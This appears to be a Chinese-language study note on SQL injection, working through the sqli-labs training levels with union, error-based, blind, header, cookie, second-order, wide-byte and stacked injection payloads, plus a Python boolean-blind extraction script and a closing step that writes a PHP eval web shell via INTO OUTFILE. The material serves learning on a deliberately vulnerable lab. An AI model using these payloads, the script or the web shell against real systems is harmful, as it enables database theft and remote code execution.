SQL注入入门

基本知识

判断字符型或者数字型注入

字符型:

/?id= 1’ and ‘1’=‘1 正确

/?id= 1’ and ‘1’=‘2’ 语义错误(非语法错误)

数字型:

/?id= 1 and 1=1 正确

/?id= 1 and 1= 2 语义错误(非语法错误)

记忆

核心数据库:information_schema

其中的表:schema, tables, columns

其中的列:

schema:schemata

tables:table_schema

columns:table_name

报错注入函数

*updatexml()函数的使用:更新xml文档的函数,返回替换的XML片段*

*语法:updatexml(xml_documat,XPath_string,new_value)*

参数:1xml_documat:是STRING格式,为XML文档对象的名称,这一项可以输入一个十六进制的字符,比如0x26(&)。

2XPath_string:是XPath的格式的字符串,报错注入时需要写入错误的格式来显示错误的信息。

3new_value:是string格式替换查找到符合条件的数据,在注入时可以加入任意字符,比如0x26(&)。

注释

GET:–+

POST:#

附:如果是GET想用#,则先进行URL编码:%23

过滤与绕过

select过滤

查库:show database();

查表:show tables;

查列:desc table_name;

查数据:看来必须要用select关键字,直接预编译:

@预定义prepare模板

prepare xxx as select * from user where id=1; //将select查询语句定义为xxx

execute xxx; //再使用execute来执行这个变量xxx即可执行上诉的select查询语句

所以本题,先是使用prepare来预定义@a语句为hello,然后再使用execute来执行hello,这里execute执行的就是@a语句。

举个栗子:0’;sEt@a=concat(“sel”,”ect flag from 1919810931114514“);PRepare hello from @a;execute hello;#

这里是通过concat函数将查询语句进行连接,然后赋值给变量@a,然后再通过prepare来预定义@a的查询语句为hello,最后再使用execute来执行hello。

注入方式

联合注入

报错注入

布尔盲注

时间盲注

头部注入

堆叠注入

该注入需要特殊的条件,比如函数:mysqli_multi_query(),其可以执行一条或多条SQL语句。

使用格式也简单,用分号**;**闭合语句,再写入一条语句。

二次注入

推荐文章:https://zhuanlan.zhihu.com/p/39917830

原理

二次注入的原理,在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然参数在过滤后会添加 “\” 进行转义,但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。

须知:二次注入并不会马上生效,正如其名,会在下次相关SQL语句执行时生效。

宽字节注入

推荐文章:https://blog.csdn.net/m0_46467017/article/details/126247133

基础概念

宽字节:如果一个字符的大小为两个字节,则称之为宽字节。

GB2321、GBK、GB18030、BIG5、Shift_JIS等这些编码都是常说的宽字节,也就是只有两个字节。
英文默认占一个字节,中午占两个字节。

宽字节注入的条件

  1. 数据库为GBK编码
  2. 使用了转义函数,将、POGETST、cookie传递的参数进行过滤,将单引号、双引号、null等敏感字符用转义符\进行转义

具体看Less-32,我写得尽量详细一点

sqlilab

Less-1 Less-2

tip:最基本的整数型与字符型注入

1.判断GET还是POST

/?id=1

2.是否有单引号闭合

在基础模块(上文)有提及,不赘述

3.判断占位数

/?id=1 order by 1 正确

/?id=1 order by 2 正确

/?id=1 order by 3 正确

/?id=1 order by 4 报错

4.查看显示位

太简单,不赘述

5.爆数据(有单引号闭合的自行加入,下文默认数字型)

爆库:

/?id=-1 union select 1,2, group_concat(schema_name) from information_schema.schemata –+

爆表:

/?id=-1 union select 1,2, group_concat(table_name) from information_schema.tables where table_schema = ‘HHH’ –+

爆列:

/?id=-1 union select 1,2, group_concat(column_name) from information_schema.columns where table_name = ‘HHH’ –+

爆值:

/?id=-1 union select group_concat(id, pq, ···) from hhhh –+

Less-3 Less-4

tip:这两关有小括号闭合

测试:

/?id = 1 正常

/?id = 1’ 报错,小括号闭合

应对方式:

/?id= -1) –+

其他与前两关一致

Less-5 Less-6

tip:报错注入

测试:

/?id=1 正常,不显示信息

/?id=-1 报错

利用updataxml()函数(基础模块有介绍)

闭合方式:

Less-5是单引号闭合

Less-6是双引号闭合

爆库:

/?id=1’ and updatexml(1,concat(0x7e,mid((select group_concat(schema_name) from information_schema.schemata),1,31)),1) –+

爆表:

/?id=1’ and updatexml(1, concat(0x7e, mid((select group_concat(table_name) from information_schema.tables where table_schema=‘HHH’),1,31)),1) –+

爆列:

/?id=1’ and updatexml(1, concat(0x7e, mid((select group_concat(column_name) from information_schema.columns where table_sname=‘HHH’),1,31)),1) –+

爆值:

/?id=1’ and updatexml(1, concat(0x7e, mid((select group_concat(id···) from hhh),1,31)),1) –+

Less-7 Less-8

tip:布尔盲注,本次以Less-8为主

存在单引号闭合

布尔盲注步骤详解

页面只能返回正确或错误,无法报错注入。

步骤:对数据库,表,列都一样,有以下几步

  1. 确定值的个数
  2. 确定一个值的长度
  3. 确定一个值的组成

实战

由于操作量太大,我们只从security->users->id

爆库:
个数
长度

/?id=1’ and length(database()) > 7 –+ true

/?id=1’ and length(database()) > 8 –+ 语义错误

可知长度为8

组成

/?id=1’ and ascii(substr((database()),1,1)) > 97 –+

······

得知当前数据库:security

爆表
个数

/?id=1’ and (select count(table_name) from information_schema.tables where table_schema=database()) > 3 –+ 正确

/?id=1’ and (select count(table_name) from information_schema.tables where table_schema=database()) > 4 –+ 语义错误

可知有四个表:emails,referers,uagents,users

长度

/?id=1’ and length((select table_name from information_schema.tables where table_schema=database() limit 3, 1)) > 5 –+ 正确

/?id=1’ and length((select table_name from information_schema.tables where table_schema=database() limit 3, 1)) > 6 –+ 语言错误

可知第四个表长度为5

组成

/?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3, 1),1,1)) > 97 –+

可知表为users

爆列
个数

/?id=1’ and (select count(column_name) from information_schema.columns where table_name=’users’) > 2 –+ 正确

/?id=1’ and (select count(column_name) from information_schema.columns where table_name=’users’) > 3 –+ 语义错误

可知三个列:id,username,password

长度

/?id=1’ and length((select column_name from information_schema.columns where table_name=’users’ limit 0, 1)) = 2 –+

组成

/?id=1’ and ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 0, 1),1,1)) > 97 –+

可知列:id

爆值
个数

?id=1’ and (select count(*) from users) > 12 –+ 正确

?id=1’ and (select count(*) from users) > 13 –+ 语义报错

可知有十三个

长度,组成不赘述

布尔盲注python脚本

以Less-8为例(手搓,巨费时)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
import requests
global _database_name
global urlOpen
global mark
global _list
_list = []
#_list = ['emails', 'referers', 'uagents', 'users']
urlOpen = "http://124.70.99.199:81/Less-8/?id=1'"
mark = 'You are in...........'

def database_name():
name = ''
for j in range(1, 9):
for i in range(97,123):
url = urlOpen + f"and ascii(substr(database(),{j},1)) = {i} --+ "
r = requests.get(url)
if mark in r.text:
name = name + chr(i)
print(name)
break
else:
print(f'Not found for {i}')
#print(url)
else:
print(f'No match found for position {j}')
print('database_name:', name)
_database_name = name
def table_name():
list = []
for i in range(0,4):#有几个表
name = ''
for j in range(1, 12):#一个表有几个字
for y in range(97, 123):#一个字是什么字
url = urlOpen + f"and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit {i}, 1),{j},1)) = {y} --+ "
#print(url)
r = requests.get(url)
if mark in r.text:
name = name + chr(y)
#print(name)
break
_list.append(name)
print('table_name:', _list)
print('表函数已结束')
table_name()
#['emails', 'referers', 'uagents', 'users', '', '']
#选一个
def column_name():
list_1 = []
for a in range(0,4):
list_2 = []
for i in range(0,4):
name=''
for j in range(1,10):
for y in range(97, 123):
url = urlOpen + f"and ascii(substr((select column_name from information_schema.columns where table_name='{_list[a]}' limit {i}, 1),{j},1)) = {y} --+ "
r = requests.get(url)
if mark in r.text:
name = name + chr(y)
print(name)
break
else:
print(f'{y} 不是')
list_2.append(name)
print(list_2)
list_1.append(list_2)
print(list_1)

#选择一个值
table_value = 'users'
column_value = 'password'
def value(table_value, column_value):
name = ''
for i in range(1,30):
for j in range(32,126):
url = urlOpen + f"and ascii(substr((select {column_value} from {table_value}),{i},1)) = {j} --+ "
r = requests.get(url)
if mark in r.text:
name = name + chr(j)
print(name)
break
else:
print(f"{j}不是")
print(name)

if __name__ == '__main__':
a = input('press enter to')
if a == 'database_name':
database_name()
elif a == 'table_name':
table_name()
elif a == 'column_value':
column_name()
elif a == "value":
table_value = input('give me the table')
column_value = input('give me the column')
value(table_value, column_value)
else:
print('invalid input')

Less-9 Less10

tip:时间盲注,本次以Less-9为主

存在单引号闭合

简单介绍一下if语法即可:

语法:if(expr1,expr2,expr3)

语法含义:如果expr1是true,则if()的返回值为expr2,否则返回值则为expr3。

例子:

/?id=1’ and if((1=1), sleep(10),1)

迫于时间压力,先不学时间盲注脚本

Less-11 Less-12

tip:POST提交方式

本次以Less-11 为主,两关区别是单引号或双引号闭合

用POST提交

剩下的一样

Less-13 Less-14

本次以Less-13 为主,两关区别是单引号加小括号或双引号闭合

附:测试时返回这样一句话:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘1’) LIMIT 0,1’ at line 1

其中的“o use near ‘1’) LIMIT 0,1’”告诉我们闭合方式是(‘’),Less-14同理

输入正确无反应,采用报错或盲注,本次为报错注入

例子:

passwd=1&uname=1’) and updatexml(1,concat(0x7e, mid(database(),1,31)),1) #

可以报错注入,剩下照旧

Less-15 Less-16

不管正确还是错误都没有回显,只能使用时间盲注

我会补脚本的,其实还有一个问题,就是如何在没有信息的情况下得知闭合方式,不要看source的那种

Less-17

源码提示uname参数不可用,使用passwd参数

使用报错注入

小结(基本注入)

联合注入:

联合注入要求前面的条件是错的,需要注意占位数,回显位

当输入正确时有回显,可以使用联合注入

报错注入:

报错注入要求前面的条件是真的

当输入正确无回显,输入语法错误有回显时,可以使用报错注入

布尔盲注:

报错注入要求前面的条件是真的

当输入正确无回显,输入语法错误无回显,输入语义错误有回显,可以使用布尔盲注

时间盲注:

要求与布尔盲注一致

当无论怎样都无回显时,可以使用时间盲注

Less-18 Less-19

tip:其实一直忘了说一件事,正确账号和密码都是admin,另外,本次是UA注入

本处以Less-18为主,Less-19把UA换成Referer

测试

经过测试可知:语义错误无回显,语法错误无回显,登入成功回显UA

猜测此处存在UA注入

但是此处又有一个细节,如果账户和密码不正确,将会不回显UA

闭合方式

对UA操作:

1 无回显

1’ 报错

1“ 无回显

1)无回显

很明显,就是单引号闭合

爆数据

单引号闭合,利用报错注入,例子:

(经过多次尝试,格式严格等于)

1'='1' and updatexml(1,concat(0x7e,database()),1) and '1'='1

剩下照旧

Less-20

tip:经过多次抓包,发现每次都会发送两个包,一个GET,一个POST。本次是cookie注入,有关的是GET包

还能咋样嘞,学习Less-18

小结(包注入)

简单的很,猜结构(其实不简单,但是我可以看source)

information_schema,normal

Less-24

二次注入

查看登录页source,发现两个参数都经过mysql_real_escape_string()函数过滤,那么就不能进行正常注入。

创建账户成功后,发现可以改密码。我们想夺取admin。

创建用户名:admin’#,在修改密码时会执行该用户名,然后admin密码就被修改了。

Less-32

必须要单引号留存,特定函数(如addslashes())会给单引号前面加一个反斜杠使单引号不能发挥作用。

爆库:

?id=%df ‘ union select 1,database(),3 –+

剩下如旧

原理

%df ‘ => %df/ ‘ => %df%5C%27,由于GBK会把%df%5C一起解码,所以%27成功变回单引号,实现逃逸。

Less-38

堆叠注入

发现本题只能回显第一条语句,不能回显第二条语句。那只有把第二条语句的结果注入到第一条语句。

爆库:?id=1';update users set password=(mid((select group_concat(schema_name) from information_schema.schemata),1,20)) where username='Dumb'; --+

爆表:?id=1';update users set password=(mid((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,20)) where username='Dumb'; --+

爆列:?id=1';update users set password=(mid((select group_concat(column_name) from information_schema.columns where table_name='users'),1,20)) where username='Dumb'; --+

爆值:?id=1';update users set password=(mid((select group_concat(id,password) from users),1,20)) where username='Dumb'; --+

SQL注入进阶学习

注入木马

第一步
id=-1 union select 1,"<?php @eval($_POST['cmd']);?>",3 into OUTFILE '/var/www/html/name.php' --+

第二步
url/name.php
POST:
cmd=system(“cat /flag”);